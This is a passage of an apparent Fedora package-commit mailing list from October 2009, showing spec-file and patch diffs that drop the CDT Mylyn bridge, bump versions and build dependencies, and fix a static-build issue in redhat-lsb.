+++ org.eclipse.cdt.releng/results/features/org.eclipse.cdt.master/feature.xml	2009-10-28 12:46:20.635310276 +0200
@@ -74,10 +74,6 @@
          version="0.0.0"/>
 
    <includes
-         id="org.eclipse.cdt.mylyn"
-         version="0.0.0"/>
-
-   <includes
          id="org.eclipse.cdt.gnu.dsf"
          version="0.0.0"/>
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-cdt/devel/.cvsignore,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- .cvsignore	16 Oct 2009 22:04:42 -0000	1.48
+++ .cvsignore	28 Oct 2009 12:55:29 -0000	1.49
@@ -39,3 +39,5 @@ acmacros-2.61.xml
 ammacros-1.4-p6.xml
 ammacros-1.9.5.xml
 ammacros-1.9.6.xml
+eclipse-cdt-target_filter.gif.gz
+eclipse-cdt-cppunit-20061102.tar.gz


Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-cdt/devel/eclipse-cdt.spec,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- eclipse-cdt.spec	27 Oct 2009 15:57:22 -0000	1.139
+++ eclipse-cdt.spec	28 Oct 2009 12:55:29 -0000	1.140
@@ -22,7 +22,7 @@ Epoch: 1
 Summary:        Eclipse C/C++ Development Tools (CDT) plugin
 Name:           eclipse-cdt
 Version:        %{majmin}.%{micro}
-Release:        5%{?dist}
+Release:        6%{?dist}
 License:        EPL and CPL
 Group:          Development/Tools
 URL:            http://www.eclipse.org/cdt
@@ -114,8 +114,10 @@ Patch18: %{name}-discoverytab.patch
 # in the plugin.
 Patch19: %{name}-autotools-local.patch
 
+# Disable mylyn bridge compiling. Should be removed when CDT 6.1 is out.
+Patch20: %{name}-disable-mylyn.patch
+
 BuildRequires: eclipse-pde
-BuildRequires: eclipse-mylyn >= 3.0
 BuildRequires: eclipse-rse >= 3.0
 BuildRequires:  java-devel >= 1.4.2
 BuildRequires: lpg-java-compat
@@ -134,15 +136,6 @@ BuildRoot:     %{_tmppath}/%{name}-%{ver
 %description
 Eclipse features and plugins that are useful for C and C++ development.
 
-%package mylyn
-Summary:        Eclipse C/C++ Development Tools (CDT) SDK plugin
-Group:          Text Editors/Integrated Development Environments (IDE)
-Requires:       %{name} = %{epoch}:%{version}-%{release}
-Requires:       eclipse-mylyn >= 3.0
-
-%description mylyn
-Mylyn integration for CDT.
-
 %package parsers
 Summary:        Eclipse C/C++ Development Tools (CDT) SDK plugin
 Group:          Text Editors/Integrated Development Environments (IDE)
@@ -289,13 +282,17 @@ cd ../org.eclipse.cdt.core.linux
 popd
 %endif
 
+#remove mylyn plugins (part of mylyn srpm now)
+rm -fr results/plugins/org.eclipse.cdt.mylyn*
+%patch20
+
 %build
 export JAVA_HOME=%{java_home}
 export PATH=%{java_bin}:/usr/bin:$PATH
 
 # See comments in the script to understand this.
 /bin/sh -x %{eclipse_base}/buildscripts/copy-platform SDK \
-  %{eclipse_base} mylyn xmlrpc codec httpclient lang rse
+  %{eclipse_base} xmlrpc codec httpclient lang rse
 ln -s %{_javadir}/lpgjavaruntime-1.1.0.jar SDK/plugins/net.sourceforge.lpg.lpgjavaruntime_1.1.0.jar
 SDK=$(cd SDK >/dev/null && pwd)
 
@@ -405,11 +402,9 @@ LAUNCHERJAR=$(ls %{eclipse_base}/plugins
 LAUNCHER=%{eclipse_base}/plugins/$LAUNCHERJAR
 
 installDir=${RPM_BUILD_ROOT}/%{eclipse_base}/dropins/cdt
-mylynInstallDir=${installDir}-mylyn
 parsersInstallDir=${installDir}-parsers
 sdkInstallDir=${installDir}-sdk
 install -d -m755 $installDir
-install -d -m755 $mylynInstallDir
 install -d -m755 $parsersInstallDir
 install -d -m755 $sdkInstallDir
 
@@ -437,10 +432,6 @@ pushd libhover
 unzip -qq -d $installDir build/rpmBuild/org.eclipse.linuxtools.cdt.libhover.zip
 popd
 
-mkdir -p $mylynInstallDir/eclipse/features $mylynInstallDir/eclipse/plugins
-mv $installDir/eclipse/features/*mylyn* $mylynInstallDir/eclipse/features
-mv $installDir/eclipse/plugins/*mylyn* $mylynInstallDir/eclipse/plugins
-
 # Move upc, xlc, and lrparser plugins/features to parsers install area.
 mkdir -p $parsersInstallDir/eclipse/features $parsersInstallDir/eclipse/plugins
 mv $installDir/eclipse/features/*xlc* $parsersInstallDir/eclipse/features
@@ -491,27 +482,6 @@ org.eclipse.equinox.p2.metadata.generato
 rm -rf repo
 popd
 
-# Generate p2 metadata for CDT Mylyn Bridge
-pushd $mylynInstallDir/eclipse
-java -jar $LAUNCHER \
--application \
-org.eclipse.equinox.p2.metadata.generator.EclipseGenerator \
--metadataRepository file:`pwd`/repo \
--artifactRepository file:`pwd`/repo \
--source `pwd` \
--root "CDT Mylyn Bridge" \
--rootVersion %{version} \
--flavor tooling \
--publishArtifacts \
--append \
--artifactRepositoryName "CDT Mylyn" \
--metadataRepositoryName "CDT Mylyn" \
--vmargs \
--Duser.home=$homedir
-
-rm -rf repo
-popd
-
 # Generate p2 metadata for CDT Parsers
 pushd $parsersInstallDir/eclipse
 java -jar $LAUNCHER \
@@ -608,10 +578,6 @@ rm -rf ${RPM_BUILD_ROOT}
 %defattr(-,root,root)
 %{eclipse_base}/dropins/cdt-sdk
 
-%files mylyn
-%defattr(-,root,root)
-%{eclipse_base}/dropins/cdt-mylyn
-
 %files parsers
 %defattr(-,root,root)
 %{eclipse_base}/dropins/cdt-parsers
@@ -623,6 +589,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %endif
 
 %changelog
+* Wed Oct 28 2009 Alexander Kurtakov <akurtako at redhat.com> 1:6.0.1-6
+- Disable mylyn bridge build, part of eclipse-mylyn srpm now.
+
 * Tue Oct 27 2009 Alexander Kurtakov <akurtako at redhat.com> 1:6.0.1-5
 - Sync build_id with upstream 6.0.1.
 



From than at fedoraproject.org  Wed Oct 28 12:58:44 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed, 28 Oct 2009 12:58:44 +0000 (UTC)
Subject: rpms/isdn4k-utils/F-12 isdn4k-utils.spec,1.82,1.83
Message-ID: <20091028125844.0709211C00E5@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/isdn4k-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21911

Modified Files:
	isdn4k-utils.spec 
Log Message:
drop useless BR libXp-devel



Index: isdn4k-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/isdn4k-utils/F-12/isdn4k-utils.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- isdn4k-utils.spec	20 Oct 2009 12:25:48 -0000	1.82
+++ isdn4k-utils.spec	28 Oct 2009 12:58:43 -0000	1.83
@@ -14,7 +14,7 @@
 Summary: Utilities for configuring an ISDN subsystem.
 Name: isdn4k-utils
 Version: 3.2
-Release: 66%{?dist}
+Release: 67%{?dist}
 License: GPLv2+
 Group: Applications/System
 
@@ -61,7 +61,6 @@ BuildRequires: libXaw-devel
 BuildRequires: libXmu-devel
 BuildRequires: libXpm-devel
 BuildRequires: libXt-devel
-BuildRequires: libXp-devel
 BuildRequires: libXext-devel
 BuildRequires: imake
 BuildRequires: automake
@@ -482,6 +481,9 @@ rm -rf %{buildroot}
 %doc xmonisdn/README
 
 %changelog
+* Wed Oct 28 2009 Than Ngo <than at redhat.com> - 3.2-67
+- drop useless BR libXp-devel
+
 * Mon Oct 19 2009 Than Ngo <than at redhat.com> - 3.2-66
 - add missing man pages
 - add upstream fixes



From beekhof at fedoraproject.org  Wed Oct 28 12:58:50 2009
From: beekhof at fedoraproject.org (Andrew Beekhof)
Date: Wed, 28 Oct 2009 12:58:50 +0000 (UTC)
Subject: rpms/resource-agents/F-12 .cvsignore, 1.17,
	1.18 resource-agents.spec, 1.19, 1.20 sources, 1.17, 1.18
Message-ID: <20091028125850.B3F3D11C00E5@cvs1.fedora.phx.redhat.com>

Author: beekhof

Update of /cvs/pkgs/rpms/resource-agents/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22011

Modified Files:
	.cvsignore resource-agents.spec sources 
Log Message:
Refresh pacemaker agents to ensure IPaddr/IPaddr2 both work


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-12/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	21 Oct 2009 11:59:45 -0000	1.17
+++ .cvsignore	28 Oct 2009 12:58:50 -0000	1.18
@@ -1,2 +1,2 @@
-099c0e5d80db.tar.bz2
 resource-agents-3.0.4.tar.gz
+e2338892f59f.tar.bz2


Index: resource-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-12/resource-agents.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- resource-agents.spec	21 Oct 2009 11:59:45 -0000	1.19
+++ resource-agents.spec	28 Oct 2009 12:58:50 -0000	1.20
@@ -20,12 +20,12 @@
 # Invoking 'hg archive' wont but you can add one with:
 #  hg archive -t tgz -p "Cluster-Resource-Agents-" -r $altversion $altversion.tar.gz
 %define altprefix Cluster-Resource-Agents-
-%define altversion 099c0e5d80db
+%define altversion e2338892f59f
 
 Name: resource-agents
 Summary: Open Source HA Resource Agents for Red Hat Cluster
 Version: 3.0.4
-Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+Release: 2%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -158,6 +158,14 @@ rm -rf %{buildroot}
 /usr/lib/ocf/resource.d/heartbeat/ldirectord
 
 %changelog
+* Wed Oct 28 2009 Andrew Beekhof <andrew at beekhof.net> - 3.0.4-2
+- Update Pacameker agents to upstream version: e2338892f59f
+  + High: send_arp - turn on unsolicited mode for compatibilty with the libnet version's exit codes
+  + High: Trap sigterm for compatibility with the libnet version of send_arp
+  + Medium: Bug - lf#2147: IPaddr2: behave if the interface is down
+  + Medium: IPv6addr: recognize network masks properly
+  + Medium: RA: VirtualDomain: avoid needlessly invoking "virsh define"
+
 * Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
 - New rgmanager resource agents upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/F-12/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	21 Oct 2009 11:59:45 -0000	1.17
+++ sources	28 Oct 2009 12:58:50 -0000	1.18
@@ -1,2 +1,2 @@
-98088230632e65c63022923ae4a835f3  099c0e5d80db.tar.bz2
 7d156727202fd969358a38810736be2a  resource-agents-3.0.4.tar.gz
+f93e29ce8b480de2f841ca6266bfd864  e2338892f59f.tar.bz2



From beekhof at fedoraproject.org  Wed Oct 28 13:06:30 2009
From: beekhof at fedoraproject.org (Andrew Beekhof)
Date: Wed, 28 Oct 2009 13:06:30 +0000 (UTC)
Subject: rpms/resource-agents/devel .cvsignore, 1.17,
	1.18 resource-agents.spec, 1.18, 1.19 sources, 1.17, 1.18
Message-ID: <20091028130630.2543411C00E5@cvs1.fedora.phx.redhat.com>

Author: beekhof

Update of /cvs/pkgs/rpms/resource-agents/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22768

Modified Files:
	.cvsignore resource-agents.spec sources 
Log Message:
Refresh pacemaker agents to ensure IPaddr/IPaddr2 both work


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	21 Oct 2009 11:58:50 -0000	1.17
+++ .cvsignore	28 Oct 2009 13:06:29 -0000	1.18
@@ -1,2 +1,2 @@
-099c0e5d80db.tar.bz2
 resource-agents-3.0.4.tar.gz
+e2338892f59f.tar.bz2


Index: resource-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/devel/resource-agents.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- resource-agents.spec	21 Oct 2009 11:58:50 -0000	1.18
+++ resource-agents.spec	28 Oct 2009 13:06:29 -0000	1.19
@@ -20,12 +20,12 @@
 # Invoking 'hg archive' wont but you can add one with:
 #  hg archive -t tgz -p "Cluster-Resource-Agents-" -r $altversion $altversion.tar.gz
 %define altprefix Cluster-Resource-Agents-
-%define altversion 099c0e5d80db
+%define altversion e2338892f59f
 
 Name: resource-agents
 Summary: Open Source HA Resource Agents for Red Hat Cluster
 Version: 3.0.4
-Release: 1%{?alphatag:.%{alphatag}}%{?dist}
+Release: 2%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -158,6 +158,14 @@ rm -rf %{buildroot}
 /usr/lib/ocf/resource.d/heartbeat/ldirectord
 
 %changelog
+* Wed Oct 28 2009 Andrew Beekhof <andrew at beekhof.net> - 3.0.4-2
+- Update Pacameker agents to upstream version: e2338892f59f
+  + High: send_arp - turn on unsolicited mode for compatibilty with the libnet version's exit codes
+  + High: Trap sigterm for compatibility with the libnet version of send_arp
+  + Medium: Bug - lf#2147: IPaddr2: behave if the interface is down
+  + Medium: IPv6addr: recognize network masks properly
+  + Medium: RA: VirtualDomain: avoid needlessly invoking "virsh define"
+
 * Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
 - New rgmanager resource agents upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/resource-agents/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	21 Oct 2009 11:58:50 -0000	1.17
+++ sources	28 Oct 2009 13:06:29 -0000	1.18
@@ -1,2 +1,2 @@
-98088230632e65c63022923ae4a835f3  099c0e5d80db.tar.bz2
 7d156727202fd969358a38810736be2a  resource-agents-3.0.4.tar.gz
+f93e29ce8b480de2f841ca6266bfd864  e2338892f59f.tar.bz2



From kkofler at fedoraproject.org  Wed Oct 28 13:14:14 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Wed, 28 Oct 2009 13:14:14 +0000 (UTC)
Subject: rpms/galeon/F-12 galeon.spec,1.64,1.65
Message-ID: <20091028131414.C591F11C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/galeon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23874/F-12

Modified Files:
	galeon.spec 
Log Message:
* Wed Oct 28 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.0.7-16.1
- Rebuild for new xulrunner (1.9.1.4)


Index: galeon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/galeon/F-12/galeon.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- galeon.spec	25 Sep 2009 07:20:06 -0000	1.64
+++ galeon.spec	28 Oct 2009 13:14:14 -0000	1.65
@@ -3,7 +3,7 @@
 Summary:	GNOME2 Web browser based on Mozilla
 Name:		galeon
 Version:	2.0.7
-Release:	16%{?dist}
+Release:	16%{?dist}.1
 License:	GPLv2+
 Group:		Applications/Internet
 URL:		http://galeon.sourceforge.net/
@@ -133,6 +133,9 @@ update-desktop-database > /dev/null 2>&1
 
 
 %changelog
+* Wed Oct 28 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 2.0.7-16.1
+- Rebuild for new xulrunner (1.9.1.4)
+
 * Fri Sep 25 2009 Denis Leroy <denis at poolshark.org> - 2.0.7-16
 - Added patch from Yanko Kaneti (#525417) to fix crash on startup
 



From tadej at fedoraproject.org  Wed Oct 28 13:14:28 2009
From: tadej at fedoraproject.org (=?utf-8?q?Tadej_Jane=C5=BE?=)
Date: Wed, 28 Oct 2009 13:14:28 +0000 (UTC)
Subject: rpms/PyQwt/devel PyQwt.spec,1.4,1.5
Message-ID: <20091028131428.C344B11C00E5@cvs1.fedora.phx.redhat.com>

Author: tadej

Update of /cvs/pkgs/rpms/PyQwt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23822

Modified Files:
	PyQwt.spec 
Log Message:
- made qplt.py executable (to fix a rpmlint error)
- removed html/.buildinfo from sphinx documentation (to fix a rpmlint error)
- changed BuildRequires from numpy to numpy-f2py to cope with the numpy
  package split
- temporarily removed qwt.py* files which conflict with the ones provided
  by the PyQt4 package




Index: PyQwt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PyQwt/devel/PyQwt.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- PyQwt.spec	7 Sep 2009 05:27:53 -0000	1.4
+++ PyQwt.spec	28 Oct 2009 13:14:28 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:           PyQwt
 Version:        5.2.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Python bindings for Qwt
 
 Group:          Development/Languages
@@ -15,7 +15,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:  python-devel
 BuildRequires:  sip-devel
 BuildRequires:  PyQt4-devel
-BuildRequires:  numpy
+BuildRequires:  numpy-f2py
 BuildRequires:  qwt-devel
 
 Requires:       PyQt4
@@ -53,13 +53,19 @@ make %{?_smp_mflags}
 rm -rf %{buildroot}
 cd configure
 make DESTDIR=%{buildroot} install
+# move the generated pdf and html documentation to sphinx directory and remove the build files
 cd ..
 mv sphinx/build/latex/PyQwt.pdf sphinx
+rm sphinx/build/html/.buildinfo
 mv sphinx/build/html sphinx
 rm -rf sphinx/build
 
-# non-executable script
+# non-executable scripts
 chmod 755 %{buildroot}/%{python_sitearch}/PyQt4/Qwt5/grace.py
+chmod 755 %{buildroot}/%{python_sitearch}/PyQt4/Qwt5/qplt.py
+
+#FIXME!!! temporarily remove qwt.py* files which conflict with PyQt4 package
+rm -rf %{buildroot}/%{python_sitearch}/PyQt4/uic
  
 %clean
 rm -rf %{buildroot}
@@ -78,6 +84,14 @@ rm -rf %{buildroot}
 %{_datadir}/sip/PyQt4/Qwt5/
 
 %changelog
+* Wed Oct 28 2009 Tadej Jane? <tadej.janez at tadej.hicsalta.si> 5.2.0-2
+- made qplt.py executable (to fix a rpmlint error)
+- removed html/.buildinfo from sphinx documentation (to fix a rpmlint error)
+- changed BuildRequires from numpy to numpy-f2py to cope with the numpy
+  package split
+- temporarily removed qwt.py* files which conflict with the ones provided
+  by the PyQt4 package
+
 * Sun Sep  6 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 5.2.0-1
 - Fix FTBFS: Update to 5.2.0
 



From than at fedoraproject.org  Wed Oct 28 13:18:08 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed, 28 Oct 2009 13:18:08 +0000 (UTC)
Subject: rpms/isdn4k-utils/devel isdn4k-utils.spec,1.84,1.85
Message-ID: <20091028131808.DE3AE11C00E5@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/isdn4k-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25013

Modified Files:
	isdn4k-utils.spec 
Log Message:
drop useless BR libXp-devel




Index: isdn4k-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/isdn4k-utils/devel/isdn4k-utils.spec,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- isdn4k-utils.spec	20 Oct 2009 12:07:24 -0000	1.84
+++ isdn4k-utils.spec	28 Oct 2009 13:18:08 -0000	1.85
@@ -14,7 +14,7 @@
 Summary: Utilities for configuring an ISDN subsystem.
 Name: isdn4k-utils
 Version: 3.2
-Release: 66%{?dist}
+Release: 67%{?dist}
 License: GPLv2+
 Group: Applications/System
 
@@ -61,7 +61,6 @@ BuildRequires: libXaw-devel
 BuildRequires: libXmu-devel
 BuildRequires: libXpm-devel
 BuildRequires: libXt-devel
-BuildRequires: libXp-devel
 BuildRequires: libXext-devel
 BuildRequires: imake
 BuildRequires: automake
@@ -482,6 +481,9 @@ rm -rf %{buildroot}
 %doc xmonisdn/README
 
 %changelog
+* Wed Oct 28 2009 Than Ngo <than at redhat.com> - 3.2-67
+- drop useless BR libXp-devel
+
 * Mon Oct 19 2009 Than Ngo <than at redhat.com> - 3.2-66
 - add missing man pages
 - add upstream fixes



From kkofler at fedoraproject.org  Wed Oct 28 13:20:32 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Wed, 28 Oct 2009 13:20:32 +0000 (UTC)
Subject: rpms/banshee/F-12 banshee.spec,1.84,1.85
Message-ID: <20091028132032.DECB611C02BB@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/banshee/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25307/F-12

Modified Files:
	banshee.spec 
Log Message:
* Wed Oct 28 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.5.1-3
- Rebuild against new mono-zeroconf (#526132)

(This syncs it with the F13 versioning, except -2 and -3 are swapped.)


Index: banshee.spec
===================================================================
RCS file: /cvs/pkgs/rpms/banshee/F-12/banshee.spec,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- banshee.spec	27 Oct 2009 05:23:20 -0000	1.84
+++ banshee.spec	28 Oct 2009 13:20:32 -0000	1.85
@@ -3,7 +3,7 @@
 
 Name:    banshee
 Version: %{mainver}%{?patchver}
-Release: 2%{?dist}
+Release: 3%{?dist}
 Summary: Easily import, manage, and play selections from your music collection
 
 Group:   Applications/Multimedia
@@ -19,7 +19,9 @@ ExcludeArch: sparc64
 # Versioned dependencies
 BuildRequires: libmusicbrainz-devel >= 2.1.1
 BuildRequires: mono-devel
-BuildRequires: mono-zeroconf-devel >= 0.7.2
+# see bz #526132 -- this is our first package that disables mDNSresponder
+# which does not work due to glibc dlsym bug
+BuildRequires: mono-zeroconf-devel >= 0.9.0-2
 BuildRequires: hal-devel >= 0.5.6
 BuildRequires: sqlite-devel >= 3.3
 BuildRequires: gstreamer-devel >= 0.10
@@ -202,6 +204,9 @@ fi
 
 
 %changelog
+* Wed Oct 28 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 1.5.1-3
+- Rebuild against new mono-zeroconf (#526132)
+
 * Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.5.1-2
 - ExcludeArch sparc64
 



From kkofler at fedoraproject.org  Wed Oct 28 13:25:44 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Wed, 28 Oct 2009 13:25:44 +0000 (UTC)
Subject: rpms/galeon/F-12 galeon.spec,1.65,1.66
Message-ID: <20091028132544.B732111C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/galeon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25751/F-12

Modified Files:
	galeon.spec 
Log Message:
Fix gecko_ver so this actually builds.


Index: galeon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/galeon/F-12/galeon.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- galeon.spec	28 Oct 2009 13:14:14 -0000	1.65
+++ galeon.spec	28 Oct 2009 13:25:44 -0000	1.66
@@ -1,4 +1,4 @@
-%define gecko_ver 1.9.1.3
+%define gecko_ver 1.9.1.4
 
 Summary:	GNOME2 Web browser based on Mozilla
 Name:		galeon



From spot at fedoraproject.org  Wed Oct 28 13:43:49 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Wed, 28 Oct 2009 13:43:49 +0000 (UTC)
Subject: rpms/redhat-lsb/F-12 redhat-lsb-trigger.patch, NONE,
	1.1 redhat-lsb.spec, 1.47, 1.48
Message-ID: <20091028134349.32F3511C00E5@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/redhat-lsb/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27721/F-12

Modified Files:
	redhat-lsb.spec 
Added Files:
	redhat-lsb-trigger.patch 
Log Message:
fix 514760

redhat-lsb-trigger.patch:
 redhat_lsb_trigger.c |   87 ++++++++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 79 insertions(+), 8 deletions(-)

--- NEW FILE redhat-lsb-trigger.patch ---
--- redhat_lsb_trigger.c.jj	2008-04-16 19:50:14.000000000 +0200
+++ redhat_lsb_trigger.c	2009-10-26 19:51:12.886058784 +0100
@@ -423,10 +423,76 @@ is_ia64 (void)
 #define is_ia64() 0
 #endif
 
+char *
+strtok (char *p, const char *delim)
+{
+  static char *olds;
+  const char *d;
+  char *token;
+  if (p == NULL)
+    p = olds;
+  while (*p)
+    {
+      for (d = delim; *d; d++)
+	if (*p == *d)
+	  break;
+      if (!*d)
+	break;
+      p++;
+    }
+  if (!*p)
+    {
+      olds = p;
+      return NULL;
+    }
+  token = p;
+  while (*p)
+    {
+      for (d = delim; *d; d++)
+	if (*p == *d)
+	  break;
+      if (*d)
+	break;
+      p++;
+    }
+  if (!*p)
+    olds = p;
+  else
+    {
+      *p = '\0';
+      olds = p + 1;
+    }
+  return token;
+}
+
+size_t
+strlen (const char *s)
+{
+  const char *p;
+  for (p = s; *p; ++p);
+  return p - s;
+}
+
+void *
+mempcpy (void *dst, const void *src, size_t n)
+{
+  char *d = dst;
+  const char *s = src;
+  while (n--)
+    *d++ = *s++;
+  return d;
+}
+
+char *
+strcpy (char *dst, const char *src)
+{
+  char *ret = dst;
+  while ((*dst++ = *src++) != '\0');
+  return ret;
+}
+
 int main (int argc, char **argv)
 {
-/* redhat_lsb_trigger.c:428: warning: unused variable 'ret' */
-/*  long ret; */ 
   INTERNAL_SYSCALL_DECL (err);
   char lsbsover[] = LSBSOVER;
   char *LSBVER, *p = lsbsover;
@@ -455,11 +521,18 @@ void __libc_csu_fini (void) { }
 pid_t __fork (void) { return -1; }
 char thr_buf[65536];
 
+void
+__attribute__ ((noreturn))
+__stack_chk_fail (void)
+{
+  INTERNAL_SYSCALL_DECL (err);
+  while (1)
+    INTERNAL_SYSCALL (exit, err, 1, 1);
+}
+
 #ifndef __powerpc__
 
-/* /usr/lib/gcc/ppc64-redhat-linux/4.1.2/../../../../lib64/libc.a(libc-start.o): In function `__libc_start_main':
- *  * (.opd+0x10): multiple definition of `__libc_start_main'  */
-int ___libc_start_main (int (*main) (int argc, char **argv),
+int __libc_start_main (int (*main) (int argc, char **argv),
                        int argc, char **argv,
 		       void (*init) (void), void (*fini) (void),
 		       void (*rtld_fini) (void), void * stack_end)
@@ -472,9 +545,7 @@ struct startup_info
   void (*fini) (void);
 };
 
-/* /usr/lib/gcc/ppc64-redhat-linux/4.1.2/../../../../lib64/libc.a(libc-start.o): In function `__libc_start_main':
- * (.opd+0x10): multiple definition of `__libc_start_main'  */
-int ___libc_start_main (int argc, char **argv, char **ev,
+int __libc_start_main (int argc, char **argv, char **ev,
 		       void *auxvec, void (*rtld_fini) (void),
 		       struct startup_info *stinfo,
 		       char **stack_on_entry)


Index: redhat-lsb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/redhat-lsb/F-12/redhat-lsb.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- redhat-lsb.spec	21 Oct 2009 15:46:21 -0000	1.47
+++ redhat-lsb.spec	28 Oct 2009 13:43:46 -0000	1.48
@@ -49,11 +49,12 @@
 Summary: LSB support for Red Hat Linux
 Name: redhat-lsb
 Version: 3.2
-Release: 6%{?dist}
+Release: 7%{?dist}
 URL: http://www.linuxfoundation.org/collaborate/workgroups/lsb
 Source0: %{name}-%{version}-%{srcrelease}.tar.bz2
 Patch0: lsb-release-3.1-update-init-functions.patch
 Patch1: redhat-lsb-lsb_start_daemon-fix.patch
+Patch2: redhat-lsb-trigger.patch
 License: GPLv2
 Group: System Environment/Base
 BuildRoot: %{_tmppath}/%{name}-root
@@ -528,6 +529,7 @@ installed on the system.
 %setup -q
 %patch0 -p1
 %patch1 -p1
+%patch2 -p0 -b .triggerfix
 
 %build
 cd lsb-release-%{upstreamlsbrelver}
@@ -582,7 +584,7 @@ ln -snf ../../../sbin/chkconfig $RPM_BUI
 
 # According to https://bugzilla.redhat.com/show_bug.cgi?id=232918 , the '-static' option
 # is imported against segfault error while running redhat_lsb_trigger
-gcc $RPM_OPT_FLAGS -Os -static -o redhat_lsb_trigger{.%{_target_cpu},.c} -DLSBSOVER='"%{lsbsover}"' \
+gcc $RPM_OPT_FLAGS -Os -static -fno-stack-protector -o redhat_lsb_trigger{.%{_target_cpu},.c} -DLSBSOVER='"%{lsbsover}"' \
   -DLDSO='"%{ldso}"' -DLSBLDSO='"/%{_lib}/%{lsbldso}"' -D_GNU_SOURCE
 install -m 700 redhat_lsb_trigger.%{_target_cpu} \
   $RPM_BUILD_ROOT%{_sbindir}/redhat_lsb_trigger.%{_target_cpu}
@@ -647,6 +649,9 @@ fi
 #/usr/X11R6/lib/X11/rgb.txt
 
 %changelog
+* Tue Oct 27 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 3.2-7
+- apply fix from bz514760 (thanks to Jakub Jelinek)
+
 * Wed Oct 21 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 3.2-6
 - apply fix from bz485367 (thanks to Jon Thomas)
 



From spot at fedoraproject.org  Wed Oct 28 13:43:49 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Wed, 28 Oct 2009 13:43:49 +0000 (UTC)
Subject: rpms/redhat-lsb/devel redhat-lsb-trigger.patch, NONE,
	1.1 redhat-lsb.spec, 1.47, 1.48
